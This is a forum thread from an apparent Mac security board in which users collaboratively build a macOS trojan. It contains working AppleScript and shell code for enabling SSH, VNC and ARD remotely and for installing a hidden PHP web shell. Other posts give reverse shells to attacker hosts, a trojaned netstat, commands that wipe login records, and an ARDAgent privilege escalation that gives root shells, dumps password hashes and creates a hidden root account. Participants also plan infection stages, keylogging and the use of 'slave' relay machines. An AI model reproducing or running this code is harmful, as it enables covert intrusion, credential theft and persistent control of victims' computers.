Help - Search - Members - Calendar
Full Version: remote login Trojan
TSF - Mac Security Forums > Discussion > Programming
Pages: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
callmenames
Andrew, a handler is an AppleScript subroutine. Similar to a function in a bash script.

This is a handler...
CODE
on call_me()
display dialog "You called?"
end call_me


If you paste it into Script Editor and run it, it doesn't do anything... until you also call it, like this...
CODE
on call_me()
    display dialog "You called?"
end call_me

call_me()

Then run it.
andrewistheshit
so what does
call_me()
do that makes it work
callmenames
Andrew, it calls the handler named 'call_me()'. The handler runs when it is called.
CODE
on call_me(names)
    display dialog "You're a " & names & "!"
end call_me

call_me("jerk")
andrewistheshit
ok thats making some more sence
callmenames
AppleScript handlers: enable_ARD_and_VNC (new), enable_ssh (updated). Untested!
CODE
on enable_ARD_and_VNC()
    --This *should* work from any admin account, without sudo or root, for any version of OS X which
    --includes ARD Client (server) such as 10.3, 10.4 and 10.5.
    try
        -- Disable the Remote Management menu extra.
        do shell script "kickstart -configure -clientopts -setmenuextra -menuextra no"
        if OSX_version_number_minor as number ≥ 5 then --For Leopard
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate"
            -- Allow access for all users and give all users full access.
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -configure -allowAccessFor -allUsers -privs -all"
            -- Start the Remote Management service.
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate"
        else if OSX_version_number_minor as number ≤ 4 then --For Tiger and prior
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -restart -agent -console"
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -on -privs -all -restart -agent"
        end if
    end try
end enable_ARD_and_VNC

on enable_ssh()
    try
        if i_am_an_admin then
            --This *should* work from any admin account, without sudo or root, for any version of OS X which
            --includes ARD Client (server) such as 10.3, 10.4 and 10.5.
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setremotelogin on"
            --And while we're here...
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setcomputersleep Never" --(logic board only)
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setrestartpowerfailure on"
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setrestartfreeze on"
            do shell script "/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setremoteappleevents on"
        end if
    on error
        if i_have_root_access then
            try
                --If sudo works but we aren't an admin (we might have modified /etc/sudoers)
                do shell script "sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setremotelogin on"
                --And while we're here...
                do shell script "sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setcomputersleep Never" --(logic board only)
                do shell script "sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setrestartpowerfailure on"
                do shell script "sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setrestartfreeze on"
                do shell script "sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Support/systemsetup -setremoteappleevents on"
            on error
                --This handler needs root for everything past this point! (We either need to be running as root, from SystemLoginItems for instance, or sudo needs to be within the timestamp period!)
                if OSX_version_number_minor as number ≥ 4 then --For Tiger and Leopard
                    --Note, this also opens port 22 in the default OS X firewall
                    do shell script "sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist"
                else if OSX_version_number_minor as number ≥ 2 and OSX_version_number_minor as number ≤ 3 then --For Jaguar and Panther
                    do shell script "sudo sed -e 's/disable = .*$/disable = no/' /private/etc/xinetd.d/ssh > /private/etc/xinetd.d/ssh.tmp && sudo mv /private/etc/xinetd.d/ssh /private/etc/xinetd.d/ssh.old && sudo mv /private/etc/xinetd.d/ssh.tmp /private/etc/xinetd.d/ssh"
                    do shell script "sudo /sbin/service ssh start"
                else --For Puma and Cheetah
                    --Still need to also open port 22 in the firewall (ipfw)!
                    do shell script "sudo sed -e 's/SSHSERVER=-NO-/SSHSERVER=-YES-/' /etc/hostconfig > /etc/hostconfig.tmp && sudo mv /etc/hostconfig.tmp /etc/hostconfig"
                    do shell script "grep 'SSHSERVER=-YES-' /etc/hostconfig || sudo echo 'SSHSERVER=-YES-' >> /etc/hostconfig"
                    do shell script "sudo /usr/sbin/sshd"
                end if
            end try
        end if
    end try
end enable_ssh

callmenames
AppleScript handler: install_phpshell (correction for multiple spaces in httpd.conf, and changed sed delimiters to O instead of /, additions for OS X 10.2 and 10.1, use of /var/tmp/ for temporary files)
CODE
on install_phpshell()
    --This handler is best run by root (but can install to a user home folder without admin or root.)
    --PHPshell version 2.1 http://sourceforge.net/projects/phpshell
    if OSX_version_number_minor as number ≥ 1 then
        --OS X 10.0 did not include PHP
        try
            --Place the PHPshell folder (unzipped) inside the Resources folder within your script bundle (or inside Script Editor if you aren't saving as an app)
            --Hopefully you remembered to add a user such as any of the following to PHPshell's config.php?
            --nobodyd  = "md5:54889c9:45caff28b8f9340ccb43f9f61d72b2a3"
            --nobodyd  = "sha1:527faf43:8a60cb4d7d16b6df77ebf01bcd6a8c98c6ab10d9"
            --nobodyd  = "a secret"
            do shell script "/usr/bin/sudo mkdir -p /Library/WebServer/Documents/; /usr/bin/sudo cp -R " & quoted form of phpshell_path & " /Library/WebServer/Documents/.PS_Store/; /usr/bin/sudo sed -e 'sO# *LoadModule php4_module *libexec/httpd/libphp4.soOLoadModule php4_module libexec/httpd/libphp4.soO' -e 'sO# *AddType application/x-httpd-php .phpOAddType application/x-httpd-php .phpO' -e 'sO# *AddType application/x-httpd-php-source .phpsOAddType application/x-httpd-php-source .phpsO' -e 'sO# *AddModule mod_php4.cOAddModule mod_php4.cO' /etc/httpd/httpd.conf > /var/tmp/httpd.conf.tmp && /usr/bin/sudo mv /var/tmp/httpd.conf.tmp /etc/httpd/httpd.conf"
            do shell script "/usr/bin/sudo sed -e 's/WEBSERVER=-NO-/WEBSERVER=-YES-/' /etc/hostconfig > /var/tmp/hostconfig.tmp && /usr/bin/sudo mv /var/tmp/hostconfig.tmp /etc/hostconfig"
            do shell script "grep 'WEBSERVER=-YES-' /etc/hostconfig || /usr/bin/sudo echo 'WEBSERVER=-YES-' >> /etc/hostconfig"
            --You might also want to call enable_webserver()
        on error
            --If we couldn't make it into /Library/WebServer/Documents, try ~/Sites
            do shell script "test -d ~/Sites/ && mkdir -p ~/Sites/images 2>/dev/null && cp -R " & quoted form of phpshell_path & " ~/Sites/images/.PS_Store/"
            do shell script "chgrp -Rf admin ~/Sites/"
        end try
    end if
end install_phpshell
Oktane
Here is a reverse shell script in AppleScript:
CODE
            -- Reverse Shell
                set my_address to ""
                set my_port to ""
                set connection_error to true
                if safe is "true" then
                    repeat while connection_error is true
                        try
                            do shell script "exec 5<>/dev/tcp/" & my_address & "/" & my_port
                            do shell script "cat <&5 | while read line; do $line 2>&5 >&5; done"
                            set connection_error to false
                        on error
                            delay 60
                        end try
                    end repeat
                end if
callmenames
Oktane, each 'do shell script' command runs in its own shell. They aren't connected. For instance...
CODE
do shell script "cd ~"
do shell script "pwd"

The first 'do shell script' line changes the working directory to ~ which is your home folder. You might expect the second 'do shell script' command to print the working directory /Users/Oktane but it won't, it will return / (the root directory of the boot volume.) This is because each of the 'do shell script' commands runs in it's own shell instance.

To get the output we want, we would have to do both shell commands in a single 'do shell script' command. The semi-colon ( ; ) is used to chain multiple shell commands together on the same command line.
CODE
do shell script "cd ~; pwd"


So this part of your code won't work...
CODE
                            do shell script "exec 5<>/dev/tcp/" & my_address & "/" & my_port
                            do shell script "cat <&5 | while read line; do $line 2>&5 >&5; done"


Do you see why? The first 'do shell script' creates the socket and then that shell closes, the second 'do shell script' tries to read from a socket that hasn't been created in the second shell.

To get it working, you would have to do both things in a single do shell script statement...
CODE
                            do shell script "exec 5<>/dev/tcp/" & my_address & "/" & my_port & "; cat <&5 | while read line; do $line 2>&5 >&5; done"

callmenames
Okane, also... a minor thing. When using boolean true/false, the value and the variable don't need to be quoted and using 'if safe' by itself checks if the boolean value of the variable safe is true... for instance.
CODE
set safe to true
if safe then display dialog "safe is true"

CODE
set safe to false
if not safe then display dialog "safe is false"


For anyone reading... these last 2 posts are discussing AppleScript!
Oktane
Thanks I understand, I forgot about the true/false statements and the reverse shell correction makes sense.
callmenames
There are also lots of other options for reverse connections. For instance, using Vine Server, you can create a reverse-connect VNC session with GUI. :)

CODE
--First hide a copy of the OSXvnc-server executable from the Vine Server.app which would need to be included inside the trojan's bundle.
do shell script "mkdir -p -m 777 ~/Library/Preferences/.osxvnc; cp \"" & my_resources & "Vine Server.app/Contents/Resources/OSXvnc-server\" ~/Library/Preferences/.osxvnc/; cp \"" & my_resources & "Vine Server.app/Contents/Resources/.vncauth\" ~/Library/Preferences/.osxvnc/"
--Then run OSXvnc-server and have it do a reverse connection to port 6880 on *your* computer.
do shell script "~/Library/Preferences/.osxvnc/OSXvnc-server -connectHost 127.0.0.1 -connectPort 6880"
Oktane
I like the shells better myself, less chance of something get messed upon on either end, if you know what I mean :P

EDIT: Another thing I'm looking into is a way to disable the commands nmap, w, who, whois and netstat. Turning the trojan into a backdoor and rootkit.
callmenames
Oktane, lots of ways to disable an executable... delete it for instance. :) Or replace it with another executable... which could be as simple as a script like the one below, or you could modify and recompile the source for the original binary.
CODE
#!/bin/bash
# Very simple netstat filter
if [ -x /usr/sbin/netstat.disabled ]; then
output="$( /usr/sbin/netstat.disabled )"
echo "${output}" | sed -e "s/\([0-9]\{1,3\}\)\.\([0-9]\{1,3\}\)\.\([0-9]\{1,3\}\)\.\([0-9]\{1,3\}\)/696.6.9.6/g" -e \
"s/ [^ ]* *ESTABLISHED$/ 127.0.0.1              H4X0R3D/g"
fi
exit 0

An example of using it...
Before...
CODE
netstat

CODE
Active Internet connections
Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
tcp4       0      0  10.0.1.2.52874         miami.dnschamber.http  ESTABLISHED
tcp4       0      0  localhost.netinfo-loca localhost.1002         ESTABLISHED
tcp4       0      0  localhost.1002         localhost.netinfo-loca ESTABLISHED
tcp4       0      0  localhost.netinfo-loca localhost.1021         ESTABLISHED
tcp4       0      0  localhost.1021         localhost.netinfo-loca ESTABLISHED
udp4       0      0  *.*                    *.*                    
udp4       0      0  *.mdns                 *.*                    
udp6       0      0  *.5353                 *.*                    
udp4       0      0  *.ipp                  *.*                    
udp4       0      0  localhost.49162        localhost.1022        
udp4       0      0  localhost.49161        localhost.1022        
udp4       0      0  localhost.1022         *.*                    
udp4       0      0  localhost.49160        localhost.1023        
udp4       0      0  localhost.1023         *.*                    
udp4       0      0  10.0.1.2.ntp           *.*                    
udp4       0      0  localhost.ntp          *.*                    
udp4       0      0  *.ntp                  *.*                    
udp6       0      0  *.5353                 *.*                    
udp4       0      0  *.mdns                 *.*                    
udp4       0      0  localhost.netinfo-loca *.*                    
Active LOCAL (UNIX) domain sockets
Address  Type   Recv-Q Send-Q    Inode     Conn     Refs  Nextref Addr
2d97aa0 stream      0      0  3c18420        0        0        0 /private/var/run/cupsd

Now install it...
CODE
$sudo -s
Password:
>which netstat
/usr/sbin/netstat
>mv /usr/sbin/netstat /usr/sbin/netstat.disabled
>echo '#!/bin/bash
> # Very simple netstat filter
> if [ -x /usr/sbin/netstat.disabled ]; then
> output="$( /usr/sbin/netstat.disabled )"
> echo "${output}" | sed -e "s/\([0-9]\{1,3\}\)\.\([0-9]\{1,3\}\)\.\([0-9]\{1,3\}\)\.\([0-9]\{1,3\}\)/696.6.9.6/g" -e \
> "s/ [^ ]* *ESTABLISHED$/ 127.0.0.1              H4X0R3D/g"
> fi
> exit 0
> ' > /usr/sbin/netstat
>chmod 777 /usr/sbin/netstat

After...
CODE
>netstat

CODE
Active Internet connections
Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
tcp4       0      0  localhost.netinfo-loca 127.0.0.1              H4X0R3D
tcp4       0      0  localhost.1002         127.0.0.1              H4X0R3D
tcp4       0      0  localhost.netinfo-loca 127.0.0.1              H4X0R3D
tcp4       0      0  localhost.1021         127.0.0.1              H4X0R3D
udp4       0      0  *.*                    *.*                    
udp4       0      0  *.mdns                 *.*                    
udp6       0      0  *.5353                 *.*                    
udp4       0      0  *.ipp                  *.*                    
udp4       0      0  localhost.49162        localhost.1022        
udp4       0      0  localhost.49161        localhost.1022        
udp4       0      0  localhost.1022         *.*                    
udp4       0      0  localhost.49160        localhost.1023        
udp4       0      0  localhost.1023         *.*                    
udp4       0      0  696.6.9.6.ntp           *.*                    
udp4       0      0  localhost.ntp          *.*                    
udp4       0      0  *.ntp                  *.*                    
udp6       0      0  *.5353                 *.*                    
udp4       0      0  *.mdns                 *.*                    
udp4       0      0  localhost.netinfo-loca *.*                    
Active LOCAL (UNIX) domain sockets
Address  Type   Recv-Q Send-Q    Inode     Conn     Refs  Nextref Addr
2d97aa0 stream      0      0  3c18420        0        0        0 /private/var/run/cupsd
callmenames
With w and who, you could just overwrite utmp... which would be extremely obvious.
CODE
$ w
13:24  up 1 day, 18:53, 6 users, load averages: 0.30 0.58 1.13
USER     TTY      FROM              LOGIN@  IDLE WHAT
Oktane    console  -                Sun18   1day  -
Oktane    p1       -                13:24       - w
Oktane    p2       -                12:00    1:22 -
Oktane    p3       -                12:02      12 -
Oktane    p4       -                12:23      57 -
Oktane    p5       -                12:27      57 -
$ who
Oktane    console  Jun  8 18:32
Oktane    ttyp1    Jun 10 13:24
Oktane    ttyp2    Jun 10 12:00
Oktane    ttyp3    Jun 10 12:02
Oktane    ttyp4    Jun 10 12:23
Oktane    ttyp5    Jun 10 12:27
$ sudo -s    
Password:
>cat /dev/null >/var/run/utmp
>w
13:25  up 1 day, 18:53, 0 users, load averages: 0.24 0.53 1.09
USER     TTY      FROM              LOGIN@  IDLE WHAT
> who
>

Of course that won't do anything to the command 'last'...
CODE
>last
Oktane     ttyp1                     Tue Jun 10 13:24   still logged in
Oktane     ttyp1                     Tue Jun 10 13:24 - 13:24  (00:00)
Oktane     ttyp1                     Tue Jun 10 13:16 - 13:24  (00:08)
Oktane     ttyp1                     Tue Jun 10 13:16 - 13:16  (00:00)
Oktane     ttyp1                     Tue Jun 10 13:07 - 13:16  (00:08)
Oktane     ttyp1                     Tue Jun 10 13:07 - 13:07  (00:00)
[...]
>killall syslogd
>: > /var/log/lastlog
>: > /var/log/wtmp
>last

wtmp begins Tue Jun 10 13:28
>

See also... http://developer.apple.com/documentation/D...doc/man/5/utmpx and http://developer.apple.com/documentation/D...an/3/pututxline
callmenames
Oktane, by the way... if you want your AppleScript to continue while the reverse-shell is open, have a different application handle the reverse shell and use 'ignoring application responses' to have AppleScript continue without waiting for the the other application to finish.
CODE
ignoring application responses
    tell application "System Events" to do shell script "exec 5<>/dev/tcp/127.0.0.1/6880; echo 'Howdy' >&5; echo -n '> ' >&5; cat <&5 | while read line; do $line 2>&5 >&5; echo -n '> ' >&5; done"
end ignoring
--Do other stuff while System Events handles the reverse shell.
display dialog "I can go on and do other stuff now even though the reverse-shell is still running."
Oktane
Thanks that helps out alot. I'm customizing a backdoor that opens a bash shell when the right ip address connects. I'm trying to add a password prompt too.
Oktane
I finally got into my router and figured out DynDNS, port forwarding, etc... so now I'm back on schedule. Working on a backdoor that will run under port 1024 because its uid is root (SystemLoginItems).

So far my trojan:
Stage One (Infection):
  1. Generates SSH keys
  2. Duplicates SystemLoginItems.plist if it exists, creates one if it doesn't. Then edits it "defaults write".
  3. Moves itself to safe location, and deletes

Stage Two (fun):
  1. Kills loging and accounting
  2. Kills software updates
  3. Disables firewall
  4. Enables SSH
  5. Gathers SSH keygens
  6. Gathers hashes
  7. Gathers network information
  8. Removes itself from SystemLoginItems.plist and adds path to backdoor.
  9. Emails information (if safe)
  10. Opens up baskdoor (creeeeekkkk)
  11. Opens up reverse shells until connection is established
  12. Installs logKext, and edits com.fsb for no encryption (not nessacary because of the shells)
  13. Removes traces of itself
  14. Edits/replaces netstat, who, w, nmap, etc... (still needs work)
  15. Cleans the logs (still needs work)
  16. *Poof*

TODO:
1. Work on editing/replacing commands like netstat, who, w, nmap, etc...
2. Work on cleaning ALL the logs
Siph0n
FYI logKext stores it encrypted on disk. You realize the logs would be stored in plaintext on the user's hard drive?
Oktane
Are you talking about changing logKext's preferences in terminal to not encrypt the log?
CODE
"defaults write /Library/Preferences/com.fsb.logKext Encrypt -int 0"

Since I have access to shells I can just use "print" to display the log unencrypted without it being moved to the desktop.
callmenames
If it's unencrypted then you don't actually need to use logKextClient at all do you?
CODE
cat /Library/Preferences/com.fsb.logKext

Siph0n
I'd be worried Spotlight would point to that file, considering any and everything they type would be contained in it.
callmenames
Oktane, just a suggestion regarding Dynamic DNS. If you create an address specifically for use with the trojan (as opposed to using the same address for your router and in the trojan), then you can update the DDNS service and point the address anywhere, at any time. For instance to a different box entirely, whereon you have shell access and to which the target may connect. You can also immediately change the address associated with the name upon completing your communication with the target, and have the address go nowhere at all (such as by updating it to a private IP address or to loopback.) By creating a third account for the target itself and setting the target to update the DDNS service with it's public IP address, you can track the target's address and also have some clue if/when the target stops updating the DDNS which may be helpful. :)
callmenames
Siph0n, good point. There is also the option of leaving encryption enabled and emailing back both the key and the log content encrypted, then decrypting on the receiving end.
Or hide the file from SpotLight.
CODE
sudo defaults write /.Spotlight-V100/_exclusions EXCLUSIONS -array-add /Library/Preferences/com.fsb.logkext
Oktane
Do you mean if I happened to have a few wifi routers laying around that I could connect to these make a "pinhole" (port forward) to my box with DDNS that I could remove/add at any time. Or do you mean a completely different box(owned) that I could set up a DDNS to.
CODE
         <------------------------- SHELL --------------------->
1. [TARGET] <-----> [ROUTER/WIFI] ))) <----{pinhole}----> ((( [MY BOX]


        <-------------- SHELL -------------->        <----------------- SHELL ------------->
2. [TARGET] <---> [ROUTER/WIFI] <---> [OWNED BOX] <--DDNS--> [MYROUTER] <--{pinhole}--> [MY BOX]


I'm a visual person :)
callmenames

This also offers the ability to determine if/when the Target stops updating it's DDNS address (by checking the DDNS account rather than connecting to the Target) so that you can tell if the Trojan has been removed or disabled without connecting to the Target.
Oktane
QUOTE(callmenames @ Jun 12 2008, 02:04 PM) *

This also offers the ability to determine if/when the Target stops updating it's DDNS address (by checking the DDNS account rather than connecting to the Target) so that you can tell if the Trojan has been removed or disabled without connecting to the Target.


Wow, thanks, very thorough I understand... now I off to "acquire" a slave
By the way where did you get that image form, I'd love to take a look at the website.(If that's what its from)
callmenames
I mistakenly listed the same public IP address for both the slave and the target - they would of course be different. Another advantage of using the DDNS address for the slave is that you could change where the DDNS address points by updating the DDNS account manually through a web browser, thus you can change slaves at any time or you can change the slave DDNS name and abandon one which was used by a target on which the trojan was discovered.

I used OmniGraffle Pro to make the diagram.
andrewistheshit
by slave you mean zombie computer right?
Oktane
QUOTE(andrewistheshit @ Jun 12 2008, 02:43 PM) *
by slave you mean zombie computer right?


Slave/Zombie both are living-dead. And yes they both mean computers owned by you that you have your way with whenever you please:p
callmenames
'Zombie' implies that the computer is running a controlling program (a bot for instance) which is not necessary. It just needs to be a computer to which you have SSH access from the Internet. You can connect over SSH then download and run netcat on the slave to listen for the incoming reverse-shell connection from the target computer. Once the shell opens, you can interact with the target through the slave - the target never needs to know your IP address, just the slave's.

I should also mention that slave does not need to be a computer per se, plenty of routers have telnet available and netcat can be compiled for ARM processors so 'slave' could be just a router. :)
andrewistheshit
hmm well the app names compile for me in platpus i just wanted to change the image to something else and it never shows the image it just shows it like a priview file

callmenames
Do you have write access?
andrewistheshit
it says i have custom access?

ughh wow my ipod is completely useless till i figure out this pwange tool thing....
yes i know this is a completely different thread but just thought i would mention that.
callmenames
Is anyone else able to get 'ARDAgent.app' to execute a 'do shell script' command from Script Editor? This is very strange.

Try this AppleScript command in Script Editor...
CODE
tell application "ARDAgent.app" to do shell script "id"


Occasionally I have to run it a few times to get it to go, once I had to quit Script Editor and relaunch it before it ran. It's reproducible on a PPC/G4 Tiger/10.4.11 Mac here, and not at all on two others.

I'm extremely curious to know if this works for anyone else and if so, what version of OS X and does your Mac have a PowerPC or Intel processor?

I take that back, I just reproduced it on a PPC/G3 Tiger/10.4.11 as well - at first it did not work, I gave up trying and went to do something else, came back and that machine was asleep - woke it up, clicked run and it worked. Hmm.
andrewistheshit
ill try it but where is shell script id located or was it stated in a handler of the apple script?
did i say that right?
callmenames
Andrew, try...
ls -aloR /Volumes/FDSAFA/Treemovie.app

To see what the permissions are...

Or
chmod -Rf 777 /Volumes/FDSAFA/Treemovie.app
To give read/write/execute permission for all users.

And the AppleScript command is all that's required, just paste it into Script Editor and click run, if you get an error, keep trying it a dozen or so times. 'Do shell script' runs a command line, not only a script but the AppleScript command is 'do shell script'.

Sometimes I get this..


And sometimes I get this...
CODE
"uid=0(root) gid=501(G4admin) egid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin)"


One time on each of two systems I got uid=0 and euid=501.

Needless to say, if I have ARDAgent.app run the reverse shell command (posted in this thread) instead of having System Events run it, it's a root shell. Without a password.
Wawl
CODE
tell application "ARDAgent.app" to do shell script "id"

Works fine for me ! (PPC Leopard). That a great vulnerability !
It also tested it at my school, it allows me to be admin without a password :-)
(My school has Tiger intel and ppc installed)

But you're right, it doesn't always work, but I just have to wait some seconds.
callmenames
I am flabbergasted as to why a setuid executable, owned by root can also execute 'do shell script' commands, but uh... well... happy hacking everybody! :)

Stoopid-easy ARDAgent tricks:
CODE
tell application "ARDAgent" to do shell script "cd /var/db/shadow/hash;for hashfile in $(ls -1 /var/db/shadow/hash);do [ ${hashfile} == ${hashfile/state} ] && echo ${hashfile} && cat ${hashfile} && echo; done; exit 0"


CODE
set hidden_admin_username to "nobodyd"
set hidden_admin_password to "a secret"
set hidden_admin_password_hash to do shell script "openssl passwd -crypt -salt xx '" & hidden_admin_password & "'"

tell application "ARDAgent" to do shell script "/usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' name '" & hidden_admin_username & "'; /usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' UniqueID 0; /usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' PrimaryGroupID 20; /usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' NFSHomeDirectory /var/root; /usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' home /var/root; /usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' UserShell /bin/bash; /usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' RealName ''; /usr/bin/sudo dscl . -append /Groups/admin GroupMembership '" & hidden_admin_username & "'; /usr/bin/sudo dscl . -append /Groups/wheel GroupMembership '" & hidden_admin_username & "'; /usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' naprivs -2147483394; /usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' authentication_authority 'basic'; /usr/bin/sudo dscl . -create /Users/'" & hidden_admin_username & "' passwd " & hidden_admin_password_hash
callmenames
Or from Terminal instead of Script Editor...
CODE
osascript -e 'tell application "ARDAgent" to do shell script "cd /var/db/shadow/hash;for hashfile in $(ls -1 /var/db/shadow/hash);do [ ${hashfile} == ${hashfile/state} ] && echo ${hashfile} && cat ${hashfile} && echo; done; exit 0"'


And to avoid having to run it repeatedly until it works...
CODE
while :; do hashes=$( osascript -e 'tell application "ARDAgent" to do shell script "cd /var/db/shadow/hash;for hashfile in $(ls -1 /var/db/shadow/hash);do [ ${hashfile} == ${hashfile/state} ] && echo ${hashfile} && cat ${hashfile} && echo; done; exit 0"' ); [ "${hashes}" != "" ] && echo "${hashes}" && break; done
callmenames
And for a full root reverse shell...
In Terminal on the receiving computer, run netcat to listen for the incoming connection. (Replace the 127.0.0.1 with the actual IP address of your computer or leave out the '-s 127.0.0.1' entirely. You may have to port-forward in your router and either turn off the OS X firewall or open the port.)
CODE
nc -s 127.0.0.1 -l -p 6880


The command line for the other computer... (change the 127.0.0.1 to the public IP address of the receiving computer.)
CODE
osascript -e 'tell application "ARDAgent" to do shell script "exec 6<>/dev/tcp/127.0.0.1/6880; id >&6; cat <&6 | while read input; do $input >&6 2>&6;echo -n \"${USER}@${HOSTNAME} > \" >&6;done"'
Wawl
It sometimes takes a long time to work...
It seems to resist some instructions better than others :
for me
CODE
perl -e 'open(PS,"bash -i >& /dev/tcp/127.0.0.1/999999 0>&1 |")|| die "Failed: $!\n";'

always works for example.
but the loop :
CODE
perl -e "while(system('osascript -e \'tell application \"ARDAgent\" to do shell script \"bash -i >& /dev/tcp/127.0.0.1/999999 0>&1\"\'')){print '';}"

always take at least 50 seconds to work

(there should be a way to thread this)

Is it the same for you ?
callmenames
Wawl, your command was successful on my system almost immediately, on the first try - less than one second of delay to a root shell via netcat. Also, it appears that ARDAgent is only achieving root when called by an admin account...
CODE
perl -e "while(system('osascript -e \'tell application \"ARDAgent\" to do shell script \"bash -i >& /dev/tcp/127.0.0.1/6880 0>&1\"\'')){print '';}"

CODE
$ nc -s 127.0.0.1 -l -p 6880
bash: no job control in this shell
bash-2.05b# id
uid=0(root) gid=501(G4admin) groups=501(G4admin), 81(appserveradm), 79(appserverusr), 80(admin)
Wawl
In fact, the first one is pretty stupid, it just give a nc shell... I forgot it was a test.
You also seem to be right about the non-admin users not being able to get root.
andrewistheshit
wasnt this being written in apple script and such... whats up with the perl?
Oktane
QUOTE(andrewistheshit @ Jun 14 2008, 04:20 PM) *
wasnt this being written in apple script and such... whats up with the perl?

I like it, a little change of scenery. Maybe he likes perl or something, ex: know python/write python, know bash/write bash, know appscpt/write appscpt...
callmenames
I agree, the more languages the merrier if you ask me. :) It's good to see examples in multiple languages.

andrewistheshit
QUOTE
:) It's good to see examples in multiple languages.

not when you dont know them lol...
maybe thats a sign to learn them
callmenames
QUOTE(Wawl @ Jun 14 2008, 01:28 PM) *
You also seem to be right about the non-admin users not being able to get root.

Actually, it works for any user as long as they are logged in locally on console (as in logged in in the GUI.) For instance, log out and log back in as a 'standard' user (non-admin) and it works. Enable fast user switching, switch and also log in as another user, then open Terminal and su to the first user who is still logged in and it works although it returns the GID of whichever user first caused ARD to launch. I get a variety of messages in the logs when doing this, most notably "Jun 14 16:31:53 one ARDAgent [1999]: recfrom error 9" in system.log
Oktane
I've been reading up on socket programming in C, while learning Objective-C which is pretty confusing. Does anyone have any experience in this aspect and could point me in the direction of a beginner tutorial.

I found this one it starts out easy and then explodes on page 3 or 4: http://beej.us/guide/bgnet/
callmenames
Oktane... seen this yet? http://developer.apple.com/referencelibrar.../GS_Networking/

And an updated version of the "AppleScript trojan horse template" with lots of updates and changes. Runs in Script Editor, or when saved as an application bundle.

You can download an AppleScript/text copy here:
http://rapidshare.com/files/122774068/ASth...script.zip.html

CODE
---------------------------------------------------------------------------
--AppleScript trojan horse template (incomplete, still in progress v0.5 posted)
---------------------------------------------------------------------------
--Written & tested with AppleScript 1.10.7 on Mac OS X 10.4.11 PPC


---------------------------------------------------------------------------
--Variables
--------------------
global my_master, padlock_icon, software_update_icon, shell_command_line, be_quiet, OSX_hashes, OSX_version_number_major, OSX_version_number_minor, OSX_version_number_mini, i_am_an_admin, i_have_root_access, my_username, my_password, my_Path, my_POSIX_folder, my_folder, my_name, launch_path, SystemLoginItems, hidden_admin_username, hidden_admin_password, hidden_admin_password_hash, ip_addresses, move_myself, my_resources, all_else_fails, phpshell_path, candidates_file, DDNS_username, DDNS_password, DDNS_id, DDNS_URL, masters_DDNS, masters_number, accounts_file, debug, masters_netcat_port, masters_VNC_port, hashes_file

--###############################################--
--########### HEY! You might want to change these? ###########--
--###############################################--
--These are the tr keys for fuxor and defuxor
property key1 : do shell script "echo -e \"\\x5b\\x6e\\x2d\\x7a\\x69\\x2d\\x6d\\x61\\x2d\\x68\\x5d\\x38\\x36\\x37\\x35\\x33\\x30\\x39\\x2d\\x34\\x20\\x32\\x31\""
property key2 : do shell script "echo -e \"\\x5b\\x61\\x2d\\x68\\x69\\x2d\\x6d\\x6e\\x2d\\x7a\\x5d\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x20\\x2d\""

--The secret file filename
property secret_file : ".howdy"

--Your email address for the outgoing mail to you
set my_master to "andrew%40schjelderup.org"

--The name and password to use with the hidden admin account to be created
set hidden_admin_username to "nobodyd"
set hidden_admin_password to "a secret"

--Whether or not to relocate the trojan away from where it was run
set move_myself to true

--For the target's / victim's Dynamic DNS address so that you can get their IP address even if the outgoing email fails
set DDNS_username to "" --Leave this blank if you aren't using a DDNS service to track the target computer.
set DDNS_password to "DDNS password"
set DDNS_id to "DDNS id"
--You may need to adjust this for different DDNS service providers
set DDNS_URL to "http://www.sitelutions.com/dnsup?user=" & DDNS_username & "&pass=" & DDNS_password & "&id=" & DDNS_id & "&detectip=1"

--For the reverse_shell
--Enter *your* Dynamic DNS address for the reverse-shell to connect to you
--Don't forget to update your DDNS record with your current IP if your IP is not static
set masters_DDNS to "localhost"
set masters_number to "127.0.0.1" -- unused at present

--Port number for connect-backs, reverse-shell etc.
set masters_netcat_port to "6880"
set masters_VNC_port to "6879"

--###############################################--
--###### end of the 'HEY! You might want to change these?' stuff ######--
--###############################################--

--You probably shouldn't change these.
set debug to true
set hidden_admin_password_hash to ""
set padlock_icon to 2
set software_update_icon to 0
set shell_command_line to "" --unused at present
set be_quiet to true
set OSX_hashes to ""
set OSX_version_number_major to do shell script "sw_vers -productVersion | cut -d '.' -f 1"
